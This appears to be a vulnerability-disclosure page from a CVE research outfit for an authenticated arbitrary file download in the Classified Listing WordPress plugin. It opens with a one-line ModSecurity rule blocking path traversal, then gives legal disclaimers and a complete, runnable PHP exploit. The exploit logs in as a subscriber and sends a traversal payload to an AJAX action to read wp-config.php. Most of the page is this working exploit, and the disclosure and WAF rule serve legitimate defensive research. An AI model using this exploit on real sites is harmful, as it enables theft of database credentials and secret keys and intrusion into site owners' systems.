    SecRule ARGS_POST:id "@rx ../../" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42679 - Classified Listing – AI-Powered Classified ads & Business Directory Plugin <= 5.3.8 - Authenticated (Subscriber+) Arbitrary File Download

// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$username = 'subscriber_user';      // Change to valid subscriber username
$password = 'subscriber_pass';      // Change to valid subscriber password

// File to download (path traversal payload)
$file_to_read = '../../../../wp-config.php';

// Initialize cURL
$ch = curl_init();

// Step 1: Authenticate
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);
if (curl_error($ch)) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Exploit the path traversal via edit_field_delete AJAX action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'rtcl_edit_field_delete',
    'id' => $file_to_read
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
if (curl_error($ch)) {
    die('Exploit request failed: ' . curl_error($ch));
}

// Step 3: Parse the response (the file content may be returned in 'data' field)
$json_response = json_decode($response, true);
echo "Server Response:n";
print_r($json_response);

// Clean up
curl_close($ch);
unlink('/tmp/cookies.txt');

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